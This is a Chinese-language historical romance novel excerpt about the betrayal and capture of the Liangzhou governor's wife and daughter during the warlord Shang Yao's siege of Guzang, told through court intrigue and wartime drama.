《今夜且先不亲》
1. 前夜
八月仲秋,阴爻渐长,阳爻衰退。月落乌啼,夜色四起,风声凛冽。姑臧扼守西北,已是寒意浸骨。
姑臧为河西道咽喉之地,乃武威郡治所在;如今天下分十三州,亦是凉州刺史部驻地。
刺史府邸静谧,重重回廊之间,一柄青铜角灯无声游移,光影昏暝交错,掩映裙裾逶迤。
一扇小门被推开。
宫灯留在屋外,两名女使一左一右,守住门扉。
刺史夫人李芝兰迈入帐帷,伸手去推床上女子,压着声音唤:“翩翩,翩翩。”
待眼前少女惺忪起身,握住她双手道:“莫再睡了。即刻起来,同我出城。”
姬临溪困意顿时没了大半,睁大眼睛:“出城?”
“你阿父叫人递话,夜间接到探子来报,明日那商曜会提前攻城。”李夫人动手替她穿衣,“并州男儿行军凶残,胜仗在前,气焰正盛。以我姑臧守军,只怕撑不过夜。他不放心你待在城里,叫我们逃去张掖,投奔荀将军。”
天下大势,合久必分。如今皇室衰微,江河分裂,纷争不断。而在广袤的并、幽、冀北方疆域,近两年最为声名鹊起的,自然是那冠英侯商曜。
商家盘踞晋阳,世代簪缨;百年往上,在汉室江山稳固时,亦是频出三公的煊赫门庭。
上一任家主商焕执事,虽除抵御匈奴、乌桓外,亦秣兵历马以图自强,到底按时向皇室纳贡朝拜,并无反心;然两年前,商焕上奏称己身衰老病弱,提前逊爵于十七岁的次子商曜。
自商曜掌兵,晋阳野心再难遮掩。先取涿郡,吞幽州,东扩乐浪;后南下夺占冀州土地,在邺县修缮旧宫、悬旗燃灯,商曜同麾下谋士提及,漫不经心称之为晋阳陪都。
消息传到洛阳,帝王拍案呕血。
并州军欲一统北地,仅差凉州一着。其部曲早在这两年势如破竹般的胜利中百炼成钢,上月大军轻取安定天水门户之地,直逼姑臧,陈兵东门。
“这如何使得?”众人早有预料,临溪也就并不很怕,神色冷静,“母亲!一旦姑臧城破,凉州便彻底是他囊中之物。纵使逃去张掖,亦不过是瓮中之鳖。”
“翩翩。”李夫人加重语气,“你当真以为你父亲还幻想得以保全凉州?自然不是!”
临溪不解:“母亲何意?”
“一年前,商曜曾派信使招揽荀将军。”李夫人偏一偏脸,“荀白将军英才盛名,连洛阳人都知晓的,此人自恃雄主,自然不会放过。你……”
临溪抬起脸。
“我们——”李夫人改口,“待我们到张掖,想来任那商贼部曲如何披靡,也要休整犒军,才好往西开进。即便不过几日,也够你和荀将军成婚。事急从权,六礼婚仪皆免就是。”
“成婚?”姬临溪一愣,“如何就要我和将军成婚?”
“翩翩!”李夫人落泪,“母亲哪里舍得委屈你?然如今世事倾覆,城破在即,那贼人愿意起用荀白,才不会伤害将军府的家眷啊!”
抬手摸上女儿脸颊,悲从中来:“翩翩,你生作这般容颜,起初我以为是恩赐,如今方知在这乱世间,女子美甚,却无人庇护,不过一场灾祸。你若留在姑臧,被那并州军所擒,安知他们会如何折辱伤害?母亲无法想象,更不敢冒险。”
姬临溪心乱如麻:“可是——”
“姑臧城是守不住的。”李夫人擦干泪水,果决起身,“子昂在府外等。我们这就动身。”
临溪眼前一片模糊,肢体麻木套好深衣,背上常年防身所用的越女剑。临出门时,慌乱折返,拿起枕下双刃,藏于袖间。
被李夫人牵拽着,护走在两名武女中间,匆匆绕到后院小门,弯腰上了一辆双马轺车。
郭颐,字子昂,幼失怙恃,后被姬昱收为义子。全靠姬昱和李芝兰夫妇资养学业,后得举孝廉,如今任凉州刺史府别驾。
敌军攻城前夜将妻女送走,近乎托孤之事,姬昱也只敢交给他来做。
“师母,翩翩。”郭颐颔首,攥紧缰绳,“那我们这便走了。”
“子昂兄!”临溪急急叫他,“能否去军帐同我阿父道别?”
却是李芝兰伸手制止,声音沉静:“你父亲自有应对之策。”
郭颐明白夫人意思,头也不回,铆足劲喝令马匹。马车疾驰于姑臧空旷街道,向西门直奔去。至城门外,李芝兰忽然叫停。
“师母?”郭颐转身。
“翩翩。”李夫人并没有看他,一味贪恋望着女儿容颜,“翩翩,你一定要记下我说的。到了张掖,即刻同荀将军成婚,做他的家眷。若他不为美色所诱,便以忠义告之,你父亲待他有恩,他不会见死不救。”
姬临溪心有预感,伸出手要抓母亲袖衽:“阿母——”
“我同你父亲成婚前,亦是挽过大弓的。昔年他决意离开洛阳,也只有我能够理解。”李夫人垂眉,笑了一笑,语气沉着,“在凉州这么多年,羌人、氐人、匈奴人、月氏人,胡人来来往往,我都不曾怕过。如今大难临头,我虽不忍你受乱世所累、红颜薄命,却终究不能同我的夫君各自飞。”
临溪摇头:“母亲——”
“我最得力的十名武女,我都留给你。她们业已对我起过死誓,会用一生护你。”李夫人握紧她的手,“你定要昼夜疾奔,逃到张掖去。无论如何,一定要在天明前,离开姑臧地界。我实在不能拿你的安危来赌。”
望着女儿在朦胧月下愈发静美的五官脸庞,心头只剩一片浩荡苍茫的伤感之情:“你不要怕。时下征伐四起,并非就是绝境。明日过后,若无事,待局面平定,我同阿父就去接回你。”
临溪依旧摇头,攥住李芝兰掌心:“母亲——”
外头郭颐沉沉开口:“义父亦知,师母会这般抉择。”
李夫人一怔。
“义父命我,毋论师母如何坚毅要与他共进退,都送师母和翩翩出城。”郭颐轻声,“他自己可以应对。”
语毕,不再迟疑,重新驾车。
稍顷寂静之间,姑臧城门已在身后。
临溪原本尚在默默垂泪,余光忽然从车帷下方,瞥见郭颐长衫腰后,一片黄泥湿印。
郭子昂其人,一向极为洁整。出入府邸军帐,跽坐于茵垫之上,亦不该伤衣。
临溪怔怔望住片刻,心头电光闪烁,猛地捏紧腰间匕首。李夫人察觉异动,转首欲出声询问,女儿并起食指,嘘在唇心。
“子昂兄。”临溪勉力稳住嗓音,柔声问询,“是哪一路探子,回报攻城提前的消息?”
“是我安插在并州营中的凉州人士。”郭颐答道,“今日傍晚,商曜忽然点兵,又命众郎将集结帅帐。不是明日,也至多后日。义父接到消息,这才出此下策。”
“既如此,义兄送我与母亲往返张掖,需得五六日。”临溪无声上前一寸,靠近车帷,“战时若不在阵前——”
猝然伸出手去,欲将匕首刺入郭颐肩膀。然对方虽非武将,行事却极为警惕,被她质问就有察觉,早早紧绷戒备,这时灵活避开,急勒住马鞭,反身将她一掌推远。
李芝兰惊呼:“翩翩——”
“他有鬼!”临溪大吼一声,抬臂欲再进攻,“他不是送我们去张掖!”
话音落下,郭颐早已跳车,接过一旁侍从骏马,翻身跃上,高声道:“翩翩警觉,叫人惊叹!可惜晚了——”
周遭已是数里之外的姑臧城郊,忽传排山倒海呼声,连天火光遽然大亮。不知何时从何地冒出数百名甲胄兵士,将马车团团围拢,面容冷肃。
随行侍从和武女立刻行动,重重护在母女二人外围。临溪亦毫不犹豫,张手护在李夫人身前。
“女公子!留着力气罢。”郭颐骑着高头大马转入敌阵,转回身体,抬颌向她道,“翩翩,你不必同我搏命,我不伤你们性命。你
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更是有大用,我万万不能伤及,倘若顾念夫人贵体,也知道不该反抗。老老实实跟我走,自然别有洞天。”
临溪抬起下巴:“怕不是那商贼帅帐!”
郭颐先是一愣,而后大笑:“世人道美人多愚钝,我瞧阿妹就真真是尤物。姿容美甚,竟还通透机敏至此!”
李芝兰彻底回过神来,将临溪手臂放下,上前一步,恨透斥道:“好你个郭子昂!世间竟有你这等忘恩负义的蛇蝎小人!”
“是我背信小人,还是义父迂腐,今后自有定论。”郭颐抬手,示意箭手放下弓矢,“好了,这位女公子是我送晋阳诸位将军的第一份大礼。你们莫要吓她。”
李夫人闻言,心头几欲泣血:“子昂!你若有所求,或对我夫妇何处不满,且说来就是。但凡我能做到——”
“大丈夫所求,不过广阔天地,有所作为。”郭颐打断,“商曜已有幽并冀三州,势不可挡。我几度献言,要义父将凉州相让,今后为其效犬马之劳。以我并凉儿郎之英猛,早晚一统北方大地,届时整合兵力挥师南下,天下都是我们的!可他呢?拿着那朽木汉室符节,口口声声说什么忠君仁义!夫人,你夫君受汉室恩惠,得封一州刺史,你亦受凉州州民供养。然,我父母可是冤死在那昏聩先帝手中!要我忠君仁义,不知我郭颐该忠哪一门君、讲哪一条义?”
李芝兰尚未答复,姬临溪重新箭步,站在母亲身前,冷冷道:“宵小之辈冠冕堂皇说辞,我多听一个字都作呕。”
郭颐脸色一沉,少女眉眼凛冽:“你口口声声憎恨汉室,怎不敢领兵杀去洛阳?你大可以杀进那南宫,杀上崇德殿,我自然高看你一眼。可你没有,你辜负的是我父亲。姬昱此生,可曾有半分对不起你?你少年贫寒、家徒四壁,是我父亲认你为义子,供你认字念书,后来得举孝廉,也是我父亲委以重任、时刻教诲。他连托孤都倚仗你,可见栽培信任之深,如今你却挟他妻女,欲投靠商曜那贼人。你生在凉州、长于凉州,可曾想过他万一屠戮凉州百姓,该当如何?可曾想过倘若并州铁骑践踏脚下故土,又该当如何?你也没有。将来史官有眼,青简留痕,你也不过是一背主求荣的下作人等。至于你所幻想的乱世名臣、匡扶山河,凭你?春秋大梦。”
郭颐双眼迸血:“住口!”
隐隐有失控癫狂之状。李芝兰惊惧,紧扯住女儿双臂。姬临溪身体发颤,咬牙不肯退让,挺直脊背:“禽兽沐猴而冠,本无面目立于天地间。卑劣枭獍之徒,谈何天下大计?”
李芝兰窥得郭颐滔天怒色,猛地将临溪扯入自己背后:“子昂——”
不想郭颐狂放笑声乍现:“都听到了吧?此女貌美烈性至此,料想君侯会喜欢我这份礼!”
而后竖一面手掌,倨傲道:“翩翩这是笃定自己还有用。不错,我还要将你送到商曜榻上、叫你过好日子,自然不舍得杀你。不过——”
目光盯住戍卫母女二人的侍从和武女,漠然下令:“放箭。”
箭雨落下,化作血河。
眼见一人接着一人断气倒下,临溪心中磅礴恐惧,李芝兰更是惊悸晕厥,两眼紧闭。她虽跌落于地,凭最后一分本能抽出越女剑,护在母亲身侧,泪水强行忍在眼眶之中。
“押下。”郭颐向身边兵士努了一努,口吻随意,“不能伤着夫人。这女公子今日也不杀。”
待临溪颓丧受伏,双膝跪于黄泥土壤,试图挺直脊背,却被两侧亲兵蛮力下摁,只能用尽力气抬头。他这才下了马上前,抬起靴履,以鞋面抵高她下颌。
即使落难至此,这双眼睛依旧明亮璀璨,有着固执而倔强的神气,至今不肯掉落一滴软弱。
“这么多年,”郭颐慢慢道,“我就最恨你这副傲气的样子。”
转头看那柄越女剑掉落一侧,有兵士正在捡拾,忽然吩咐:“把剑熔了。”
望回临溪,一字一句:“熔成铁水。”
2. 清溪
帐中昏暗。没有吃食,只有人在外敲开锁,从缝隙中丢入一只牛皮水囊。
姬临溪起身夺过水囊,递到李芝兰唇边:“母亲!你还好么?”
“我无事。”李夫人痛心一众护卫武女当场殒命,情绪万分低落,“只恨自己看错了人,一时不察落入圈套……”
“郭子昂是你同阿父看着长大,哪里能够察觉。”临溪泪眼朦胧,“也怪我,非要同他相争触怒,府中诸位兄姊,实是受我连累。”
“翩翩!”李芝兰死按她掌心,“不是你的错!我同你还有用处,才得以保住性命。子……郭颐隐藏埋伏至此,决计不会留着他们,分明是他犯下血债!”
又紧紧皱眉:“你还未同我说,是如何发觉他不对?”
“他亲自来时我就直觉不妙,只是一时说不上来。但见他葛衣后背湿黄,方察觉古怪。”临溪擦一擦额头汗意,语气恨恨,“郭颐官职乃凉州别驾,同父亲也不过拱手见礼,无需跪伏,是去哪里脏了衣衫?反倒在军中,对待前来投敌之人,有踹倒反复质问的风气。脊背着地,又在军帐之外,这才沾了一身泥土。转念一想,刺史府中不缺护卫,若真是明日开战,父亲怎能轻易让心腹义子远走张掖?郭颐知道阿母心底过于畏惧商曜,夜间阿父驻守军营,只你在府中陪我,钻空子罢了。”
李芝兰恨拍大腿:“都怪我一时愚钝,酿成大祸!”
“阿母只是关心则乱。”临溪扶起她,面色渐渐沉着,“但我想,阿父恐怕对我们的处境一无所知,不知郭颐会如何复命。若以妻女性命要挟,就难办了。”
李芝兰闻言,捂住双眼痛呼:“该死啊!该死啊!”
“我一定要杀了他。”临溪双眸燃起热意,“母亲,我一定会杀了他的。”
话虽如此,心底却也清楚,恐怕大势已去。
原本姑臧地处边陲,虽为抵御羌人,部曲也算训练有素,却无可能抵御并州那支庞大铁骑。城池守不住,自己作为使君女又被俘,形势更加难料。
听郭颐意思,临溪也知道自己将要遭遇什么。闭一闭眼,强行冷静下来:“母亲,若郭颐以我二人要挟父亲开门献城,你打算如何做?”
李芝兰怔了一下,目光黯然:“翩翩……”
“翩翩不怕。”临溪抱住母亲肩头,语气坚定,“但不能这样不明不白地被毁!我知天下战事频繁,早没有恒久不变的是非对错,但郭颐辜负你和阿父多年栽培,又屡屡于人前辱我!此人,我必亲手除之。”
李芝兰道:“我知你悲愤。但他如今投靠商贼,只怕轻易不能得手。若打草惊蛇,或激怒他……”
“他不是要将我献给商曜吗?”姬临溪心脏砰砰,按紧袖中匕首,极低声道,“阿母,若我能够一举刺杀此人,致使并州人军心动荡,是否能够帮阿父挽回凉州局面?”
“杀商曜?”李芝兰大惊,脱口反问,“你?”
“阿母勿欺我年幼。”临溪别一别脸,梗住脖颈道,“我年岁虽小,却也知男女欢情,是何等亲密无间。思来想去,男子衣不蔽体时,再适宜杀人不过。刀子进了皮骨,顷刻间便能叫人去见阎王。郭颐不就是这个意思吗?”
李芝兰蓦然失语。
姬临溪年纪是小,过了正旦叫作十六,却是十二月的生辰,尚未满十六整岁。身为人母,思及此,更是悲从中来。
这样小小一位女娘,就遭遇这等浩劫。即便可以责怪乱世无情,依旧止不住恨自己无能,惨遭奸人算计:“不可。翩翩,那商曜才是最难对付的。”
当下没有时间讲解此人征伐事迹,李芝兰安抚搂住女儿:“当今世道,无时无刻不在割据征伐,却并非一定要使君陪葬。纵使你父亲败退,只要肯交出凉州符节,那商曜未必就要折辱他家中女眷。但你若冒险,一旦事败,才要死在这里。且再等一等。”
“阿母忍得下这口气?”临溪以衣拭刀,果断摇一摇头,“我忍不下这口气!”
李芝兰涩声道:“可如今,护卫我们的人已死,郭颐又折返城中……”
“阿母且瞧着。”临溪起身靠近窗棂,侧耳去听帐外声响,“他将我们带来,一定是想父亲不战而降。不费一兵一卒,替那商曜拿下姑臧城,他才好在新的主公跟前记下头功。今夜会有动静的。”
姬临溪猜的不错。
郭颐策马回到凉州营军营外,抿一抿唇,换上事先从守卫身上扒下来的血衣,又执刀在地上舀起黄泥,胡乱拍覆于面颊。
重新上马,一路狂奔至帅帐外,振臂高呼:“使君!使君!”
卫士见是郭别驾,自觉放人。郭颐畅通无阻,跌跌撞撞滚至帐内,面色痛楚:“使君!夫人——女公子——”
姬昱闻声而动,快步起身至他身前,抬手扶起:“子昂!”
郭颐已三天三夜守在军帐,傍晚姬昱见他步伐打飘目光恍惚,强令他归家去看望妻儿,好好休憩一夜再来。
“使君!”郭颐紧紧攀住他双臂,随后改口,“义父!府中惊变!”
姬昱一怔,攥紧拳头:“你说。”
“商曜派人掳走了师母和翩翩!”郭颐涕泗横流,“我听到动静就去了,然对方买通城中一宿卫将军,死士如过无人之境,仅凭我那一队亲护,断然是救不出来,眼睁睁看人绕山路出城。只能拼死逃出通风报信!义父!救人要紧!”
姬昱面上骤然一片死白。
“女公子——翩翩——”郭颐哭到捂紧胸口,“义父,翩翩到了那商曜帐中——我不敢想——”
姬昱颓然跌后几步,斑驳两鬓此时分外刺眼:“怎会……”
两人尚在绝望默然中,帐外传来另一声高呼:“使君!商贼传信!”
凉州刺史部破羌将军董亓疾跑入帐,气喘吁吁将一布包交给姬昱:“使君,信简!”
姬昱劈手夺过,打开却是一枚长簪,一枚耳饰。缀玉骨簪是他妻子钟爱之物,耳饰则掉落自女儿颊畔。
郭颐草草读简,商曜在信中说,听闻凉州常年抵御羌乱,又逢今岁饥荒,想来军民亦颇困贫,不如双方对谈,平和交接。届时,使君妻女自会归家。若姬昱不肯,就只好见血。
落款的的确确,是冠英侯帅印。
郭颐交给董亓去读,恳切望向姬昱:“义父!”
姬昱心乱如麻:“且让我想想!”
“使君!”董亓亦错愕,“这……这……夫人同女公子怎会在商贼手上?”
望向郭颐身上血迹,更是惊慌:“子昂!你受伤了?”
“我无事。”郭颐捂住腹部,眼中热泪,“是我愧对使君!商曜麾下死士作战英勇,我知自己不是对手,终究不敢血拼到底,只得杀出重围前来报信……”
董亓上前撑住他,连连宽慰:“那可是冠英侯的死士!自然非你一人能敌!莫再自责了。”
抬头转向姬昱,语气焦灼:“使君,你拿个主意啊!”
姬昱惨白神色,颓丧跌在案后,右手以拳摁在桌上,肩背僵直。郭颐正欲开口,董亓上前一步,抱拳喝道:“使君!不若给我一队轻骑,我这就去闯那商贼帅帐
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,救出夫人!”
“不可。”郭颐转首,按住董亓肩膀,厉声制止,“鹤山!商曜既已押了人,定会严加看管,岂是你单枪匹马能够解救?”
又望回姬昱,仿佛下定极大决心,沉声道:“义父,我还是那句话!那并州骑十万大军,姑臧城破不过旦夕之间,商曜不肯劳民伤财,未必就是坏事。同他硬碰硬,又有什么好处?誓死抵抗,无非图一守臣忠直名节。然,义父并非沽名钓誉之人,宜审时度势,尽早抉择。”
董亓微愕,身旁人又道:“商军所到之处,纪律严整,并未传出苛待当地百姓之事。闻冀州饥民流离,他也肯施以援手。反观那洛阳汉室,明知凉州羌乱频发,始终只叫我们自保!义父,早做决断!”
姬昱闭目。
“倘若义父害怕背上投敌罪名,子昂愿意承担。”郭颐单膝跪下,“尽可佯作军变,由我出面,宣布向冠英侯献城。汉室风雨飘摇,我凉州安危,再同他们没有干系。”
董亓见姬昱一动不动,踌躇片刻,提袍跟着跪下:“但凭使君差遣。”
凉州近年饱受羌乱苦楚,屡屡向洛阳求援,然而朝廷自身难保,无心无力出兵,反倒是两三年前,同并州军有过秋冬联合抵羌的机缘。军中并无坚定抵御的强烈意志,更无效忠汉室念想。
凉州人和自己到底不同。姬昱拥有姓刘的母亲,和曾经在洛阳繁花锦簇的少时记忆。
静默许久,脑中闪过妻女音容笑貌,忆起在洛阳执扇观花的少时风流,心头阵阵绞痛,叹息道:“子昂不必为我做到如此。我也不是因为名节,更无意守城至死。”
“此事并非只关乎并凉二地,或中原汉室。”姬昱起身,负手踱步,“商曜不过十九岁,若现下就一统北方,越过黄河剑指天下,亦是指日可待。他原本就是河南诸侯心腹大患,一旦威胁至此,各州郡绝不会坐视不管。这是其一。二来,凉州扼守西域关隘,治理复杂,倘若草草交在他手里,同羌胡部落交通再无断绝,时令就要入冬,也不知胡人会生出什么事端,他能否管好。若以今日退让换一夕安寝,安知河南诸侯,不会联兵讨我凉州!届时沦为众矢之的,才是绝境。”
郭颐抿唇,董亓快嘴快舌:“可,无论如何,我们是守不住姑臧的啊!”
“守不住却守了,被迫降服,旁人出兵,是救凉州!不会对我凉州军民如何。”姬昱重重道,“你我主动献城,今后便是商曜盟友,诸侯联合,可称伐凉。”
董亓恍然。
姬昱低叹:“不然,我又有什么名节?如今妻女被俘,更无颜慷慨激昂。可怜我那翩翩,不过十六……”
女儿美貌,他亦无辞赋以对。只是去岁宴请别州将使,众人剑舞抚琴助兴。临溪一曲广陵散,其人饮醉,如痴如狂,失态捶胸:“怪道男儿生来应角逐天下!若得此女,头破血流,肝胆淋漓,死亦无憾!”
姬昱惊惧捏碎酒殇,从那之后,轻易再不准姬临溪参与筵席。依旧迟了,不过寥寥数月,“姑臧城中有一捧绝世清溪”这种戏谑话术,只怕已经传到交州,无人不知。
他从前同郭颐、李芝兰一道商讨过,是否等翩翩满十六岁,就将她交给荀白庇护。然荀白虽一代英才,到底已经成过婚,年三十又一。
何况兵戈无眼,战场变幻莫测,统军将领终究也未必是好归宿。他心底还是不愿,迟迟没有定夺。
这一刻却万分后悔,比起女儿性命安危,分明其他都不重要。姬昱以手抵住桌案,双眼痛湿。
那商曜,应当已经见过翩翩了。
3. 瑶月
“主公。”
虎威将军韩朔抬手,平声道:“已将信简和姬昱妻女物件送去凉州大营。”
案后,玄甲男子寂静端坐。闻声,只将竹简略抬一抬。
其人不过二十上下,肩阔背直,神色疏冷,唯有双目熠然。在这行兵军帐之中,貌虽不合时宜的年轻英俊,胜在眉宇巍峨、骨骼冷峻,另显出谨质沉厚。
韩朔迟疑一瞬:“主公何以纳郭颐计策?姑臧已是穷途末路,整个凉州皆入我们……”
商曜简短答:“人皆疲色。”
四月,中山国乱,安平太守趁机联结渤海人,欲自立为王,搅动冀州安定。商曜亲自领兵,血战至六月初,彻平冀州全境。
才回晋阳休整旬余,连父母姊妹给他制的新衣铁甲都未拿到,又得百里传书,匈奴一支偏远部落进犯上谷渔阳一带,烧杀劫掠。
同人抢幽冀地盘,乃至于西京和洛阳,虽有征服决心,却不需要恨意。战场血腥,策马踩过尸海时,偶尔也生出恻隐。郡守刺史若肯诚服,他也会复用。
但匈奴人不一样,交战过后,部曲难免情状惨烈。原本谋士邬逊和夏弋极不赞同今岁再讨凉州,然河南也传来消息,传闻诸侯欲在明年夏联军伐并。
凉州刺史姬昱响应,愿同河南军两侧包夹,共同讨伐。各方放出话来,要砍断晋阳城楼上的冠英玄旗。
麾下众将怒意云天,只恨不能即刻杀进南宫。
凉州之地,如探囊取物罢了。天水安定一带靠近并州西南,郡守本就有心投靠,草草应战权当表态,实则连酒都替他备好,一路畅行无阻。
不想还有特殊机遇。凉州别驾郭颐愿意同他里应外合,钳制刺史姬昱,不起兵戈争端,献出姑臧城。
送上门的城池,不要白不要。商曜无可无不可,但这郭颐办事倒算得力,居然真将那姬昱妻女绑来,可见平日关系亲近。
聪明人自然知道该怎么做。姬昱真有几分良知,也该明白不能再愚忠。
韩朔摁住剑托,颔首道:“是,即将入冬,节省兵力要紧,除非这位使君负隅顽抗。不过我想他应当不会,此人从前也是被洛阳伤透了心,才负气远走甘凉的。”
商曜微微沉吟,问起另一桩事:“荀白有何动静?”
“还不知。他若率军来勤,我们安置在张掖的信使也会即刻报信。”韩朔拍一拍胸脯,“少主公放心。荀白手里不过五千精骑,即便是来,到时姑臧城早是我们盘中餐食。他敢来五千,我灭他五千。”
商曜扯起唇角,心情不错:“荀白常驻边关,杀的是胡骑。”
韩朔知道主公是不愿意和这样一位戍守国境的将军起争端,区区五千骑兵,在并州大军面前亦不足挂齿。也就不再追问,轻咳一声道:“主公……还有,那个,姬昱的女儿,我特意叫人关着了。”
“哦?”商曜低下头,漫不经心,“什么来历?”
韩朔眼前一亮。
“难道主公没听过‘大破凉州,捧回清溪’——她就是这句话里那个清溪啊。临溪,叫姬临溪,十六岁了。”说起这些事,韩朔立刻来劲,“少主公!我远远瞧了一眼,当真是绝世姿容。”
虽然受了伤,一脸灰扑扑,说话又难听,但美还是美。美是世间根本藏不住的事物,一眼便知,一旦知道,就永远确信。
商曜神色一冷:“放肆。”
自他治军,严令禁止手下郎将于男女事恣意妄为。每每攻入新的城池,若有强抢民妇事,一律军法处置。
至于并州儿郎行军在外,在不同州郡各有露水情缘,那是双方愿打愿挨,不归他管。
“主公可误解我了!”韩朔连忙摆手,“她好歹是使君女,我哪里敢怠慢?只是少主公少年英雄,此女又如天上瑶月,实是般配。”
商曜却是连见一见的念头都没有,口吻冷淡,打发他走。
韩朔闭嘴。
一边出帅帐,一边摸鼻梁,暗道不应该。主公年及十九,最是年富力强、心浮气躁年纪,怎地对女色这样寡淡?
若说有何心结,那更是无稽之谈。老商侯和老夫人伉俪情深,一生一世一双人,膝下育有二子二女。
父母健在,身体硬朗,点茶赏花。大兄商旸,无心战事不肯袭爵,为弟弟守晋阳老家;长姊商昀,温婉贤淑,亦嫁得俊俏郎君;小妹商昔,十二三岁,天真烂漫。
晋阳无疑是商曜的圆满之地。无论征战历时几何,折损几成,重伤何处,只要远远望见晋阳城门,少主公那英朗面庞就会微微一松。
有时商昔小翁主会出城等候,扎着两条小辫,跳入商曜怀中,欢快张手:“二哥!二哥回家啦——”
这样一个儿郎,怎么偏偏不想成家呢?韩朔想不明白。
难道是心太高?
改摸下巴一圈,那他更应该再试一试,即便被邬先生和夏先生斥责。近些年明里暗里想同少主公结亲之人数不胜数,但他不得不承认,他并没有见过,比这捧“清溪”更美貌的适龄小娘子。
姬昱夫妇没有什么能耐,生女儿倒是一把好手。一州刺史独女,身份也很妥当,手下败将的女儿不必做正妻,纳个妾又没有什么。
老夫人从少主公十八岁就开始催促,话里话外的意思是,无论如何身边要有个女子伺候。还叮嘱过韩朔等人留心,这事要是办成,她另有嘉赏。
韩朔打定主意。
有人却真恨极女儿美貌。
滴刻在月下更静。姬昱睁开双眼,深吸一口气:“什么时辰了?”
郭颐答:“子时三刻。”
姬昱一动不动。妻女被绑走已有两个多时辰,他内心所深深恐惧的、也许会发生在翩翩身上之事,如若真会发生,那就已经发生。
世道太乱,反倒连仇恨也不纯粹。若是头两年,商曜提出要两家结亲为盟,他也是能够欣然接受的。
但如今这样的情势——尤其是,翩翩年纪还那么小!
“义父为人,实在也假得很呐。”
姬昱一僵。
“翩翩被掳去商曜那里的时间,已够君侯将她享用个遍了。”郭颐起身,轻笑一声,“义父所思所想,想必依旧只是忠啊孝的。俗不可耐。”
姬昱陡然瞪大眼睛,不可思议叫他:“子昂?”
“我实在是不想同义父撕破脸的,”郭颐一顿,拔剑抵在姬昱颈侧,“也告诫自己耐心。义父母亲是汉室旁支女,少时又长在洛阳,哪里割舍得下汉臣名节。但义父也是心狠,女儿落难至此,都不肯向君侯低头——说实在的,我都心疼翩翩。他并州军营里那么多将军,你是真不怕你女儿今日受辱罹难?”
“不过转念一想,我就明白了。”郭颐讽道,“无非义父心底觉得,若是借此契机,赌翩翩能够得到君侯偏宠蓄养,那也不算太糟。我说的不错吧?”
姬昱犹在僵坐,郭颐冷笑:“我最厌恶的就是这种虚伪做派!”
“义父。”郭颐慢慢出一口气,“我不会伤你,也不允许任何人伤你性命,但这凉州,不能再听你的。师母无事,翩翩是我带走,商曜今夜应当不会动。自然了,他才十九岁,血气方刚,若是已经见过翩翩,你女儿那张脸你有数——兴许就反悔了。这我管不了。”
姬昱一动不动,依旧背对着他,脖颈越发笔直。
郭颐垂下眼,无声上前一步,抬手劈去。
姬临溪撑到后半夜,见李芝兰实在困倦合眼睡下,跳起身,取出袖间小刀,用力去划帐窗那苎麻系带。
荀白看着她长大。正旦前他来姑臧述职,为补贺临溪及笄,特意送出这份礼。是为藏双刃,乍一看只一把厚刃长刀,收入袖间后可摁住刀尾关窍,脱落成两把薄细刃。
方才郭颐只毁了越女剑,不知她手中还有刀。
凉州边疆之地,一旦被胡人掳走,后果不堪设想,一向有教贵族女郎自保之传统。姬临溪打小更是不服输,学拳法、习刀刃,从不落下。
长着这种只会让人生动荡的脸,倘若还不修习自保技能,在这世道就是男子刀俎下任人宰割的鱼肉。
终于划断一截,扒开一道窗口,欲砍另一段时,帐外传来橐橐马蹄声音。姬临溪心脏一紧,猛地贴靠在窗线边缘,盯紧窗外。
几名亲兵正放下一个头蒙葛麻头袋的人,向一名郎将回话。之后另一人翻身下马,挥手示意其中一位亲兵去回话——郭颐!
姬临溪睁大眼睛。
那头袋蒙脸之人……
是父亲?
郭颐似有所感,目光冷冷转向这处圆顶帐。临溪连忙闪到一旁,蹲下身。
她大概知道这座军帐的位置了。
果然,自己和母亲这么好用的筹码,被关在中军主帅帐和四向九宫分营之间。
附近有主帅亲兵护卫,逃是逃不出去的。
临溪不由万分沮丧。不过如今见姬昱也被俘,原本一直惊悸狂跳的心脏竟也慢慢平复。并非她对凉州没有故园依恋,是众人都早早知道会有这一天。
父亲响应河南联军后不过两候时日,商曜就派人从晋阳飞来声讨檄文,信中言辞轻蔑。说开年正旦宴饮,会叫使君一家人含泪吞咽晋阳的莜面栲栳栳。
那是并州边军的干粮。将莜麦蒸制成筒状,蘸羊肉臊子或酸汤进食。
这话先是说,年底之前,他就能把姬昱一家抓去晋阳,沦为阶下囚;莜麦由匈奴传入,
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另一层意思是,并州铁骑常年在抵御胡人一线,洛阳人不过终日享乐之徒,姬昱老眼昏花,是非轻重不分。
邺城和涿郡人失去故土大抵也是这样的心情。知道主公即将更替,然后默默庆幸新君从不屠城,接着平静地用饭。
临溪最恐惧的时间已经过去了。她原本以为会被直接带入帅帐,那要么杀掉那个素未谋面的年轻男子,要么她杀掉自己。
但没有,他似乎毫无召见自己的意思。可见此人并不在意美色,姬临溪就不再那么害怕。
李芝兰并没有哄骗她,如今州郡交战,不必斩首使君,只要没有威胁,一向都不杀。毕竟杀害清流刺史,招致当地士族非议抵触,对新君只有坏处。
商曜主动招揽荀白,可见用人不拘一格。姬昱在并凉读书人中名声极好,就算不被复用,最坏结果也就是监禁,不会被杀害。
姬临溪想通这一层,慢慢松了肩膀。
至于洛阳,搬离后临溪只在九岁回过一次探望祖父,早没有了感情。之后父亲感叹帝王昏聩,也就安心长治凉州,再没有归京的念头。
让她为那遥远的皇室而伤怀,就太强人所难了。
“使君竟还肯为南宫效忠。”
帐中只剩两人对峙。年轻男子的声音从案后站起,长身静立:“不瞒使君,我外祖出自金城,我对凉州亦有感情。不舍屠戮,方出此下策。”
姬昱不语。
“使君有要求,可以现下提。”商曜淡淡一笑,“起复不过转瞬之间。全看使君。”
姬昱叹息:“想必君侯就是这样收买天水安定人心——都是大郡,却连半日都挺不过,冠英侯玄旗就上了城楼,传给我的军报,连时辰都是错的。”
“非也。”商曜望向他,“我军所到之处,酒肉官印皆静候多日。无需收买。”
果然如此,姬昱惨然笑笑:“如入无人之境。倒是难为君侯,还肯为我姑臧费心思。”
商曜道:“使君似乎还不知道郭别驾为何反叛。”
提及郭颐,姬昱心下尖锐一痛,强撑着回:“审时度势,顺应人心罢了。我没有什么好说。”
“他见我第一句,可是无论如何,要我保全使君性命,才肯合作。”商曜眉眼一弯,“难道不算好学生?”
姬昱紧紧闭住双唇。
